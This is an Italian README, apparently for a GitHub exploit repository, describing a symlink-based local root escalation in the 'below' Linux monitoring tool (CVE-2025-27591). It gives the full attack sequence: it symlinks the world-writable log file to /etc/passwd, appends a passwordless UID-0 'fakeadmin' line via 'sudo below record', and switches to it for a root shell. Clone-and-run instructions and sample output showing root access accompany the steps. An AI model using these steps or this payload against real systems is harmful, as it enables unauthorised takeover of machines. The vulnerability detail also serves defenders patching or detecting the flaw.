CVE-2025-27591 – Escalata dei Privilegi tramite Abuso di Symlink in below

🛑 Disclaimer: Questo exploit è fornito solo per scopi educativi e test di sicurezza autorizzati. L'uso non autorizzato potrebbe essere illegale.

🧠 Panoramica

below è uno strumento di monitoraggio delle prestazioni sviluppato da Facebook per sistemi Linux. Le versioni di below precedenti a una release corretta sono affette da una vulnerabilità critica che consente a utenti non privilegiati di escalare a root sfruttando directory di log scrivibili da chiunque e una gestione non sanificata dei log.

🔎 Dettagli CVE

💥 Logica dell'Exploit

Questo script Bash esegue le seguenti operazioni:

1. Verifica della Directory Scrivibile da Chiunque:

   • Conferma se /var/log/below è scrivibile da chiunque (una bandiera rossa).

2. Prepara l'Attacco Symlink:

   • Elimina il file error_root.log esistente (se presente) e crea un collegamento simbolico a /etc/passwd.

3. Costruzione del Payload:

   • Aggiunge un utente root fittizio a /etc/passwd:
     root@kitploit:~

     fakeadmin::0:0:fakeadmin:/root:/bin/bash
     

4. Attivazione della Registrazione:

   • Esegue sudo below record per forzare il binario vulnerabile a scrivere i log.

5. Ottenere Accesso Root:

   • Utilizza su fakeadmin per ottenere una shell root senza richiesta di password.

📁 Struttura delle Directory

CVE-2025-27591/
├── exploit.sh
├── README.md

✅ Prerequisiti

Prima di eseguire l'exploit, assicurati di avere quanto segue:

• Shell Bash (sistema Linux)
• Il binario vulnerabile installato: /usr/bin/below
• Directory di log scrivibile da chiunque: /var/log/below
• Privilegi sudo per eseguire: sudo below record
• Strumenti disponibili:
  • ln (per creare symlink)
  • su (per cambiare utente)
  • timeout (per controllare il tempo di esecuzione)
  • whoami (per la verifica dei privilegi)

🚀 Passaggi di Sfruttamento

# 1. Clone the repository
git clone https://github.com/00xCanelo/CVE-2025-27591.git
cd CVE-2025-27591

# 2. Make the script executable
chmod +x exploit.sh

# 3. Execute the exploit
./exploit.sh

🧪 Output di Esempio

[*] Checking for CVE-2025-27591 vulnerability...
[+] /var/log/below is world-writable.
[!] Found existing log file: removing it...
[+] Created symlink: /var/log/below/error_root.log -> /etc/passwd

[*] Writing malicious line to /tmp/fakeadmin
[*] Triggering logging via 'sudo below record'...
[+] 'below record' executed (or timed out)

[*] Attempting to write payload to /etc/passwd via symlink...
[+] Payload successfully appended.

[*] Trying to switch to root shell using 'su fakeadmin'...
root@target:/# whoami
root